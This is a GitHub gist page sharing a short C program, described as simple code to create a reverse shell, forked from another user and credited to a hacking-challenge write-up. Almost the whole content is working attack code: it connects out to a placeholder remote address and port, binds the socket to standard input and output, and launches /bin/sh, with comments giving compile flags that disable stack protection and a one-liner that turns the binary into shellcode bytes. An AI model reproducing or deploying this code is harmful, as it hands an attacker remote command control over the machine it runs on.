Skip to content

Instantly share code, notes, and snippets.

@padovah4ck
Forked from 0xabe-io/reverse_shell.c
Last active June 22, 2018 10:52
Show Gist options
  • Save padovah4ck/4ae95a0e47782af5db2668988c5b1b05 to your computer and use it in GitHub Desktop.
Save padovah4ck/4ae95a0e47782af5db2668988c5b1b05 to your computer and use it in GitHub Desktop.
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
//
// gcc reverse_shell.c -fno-stack-protector -Os -z execstack -no-pie -o shellcode
// for i in `objdump -d ./shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done ; echo
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment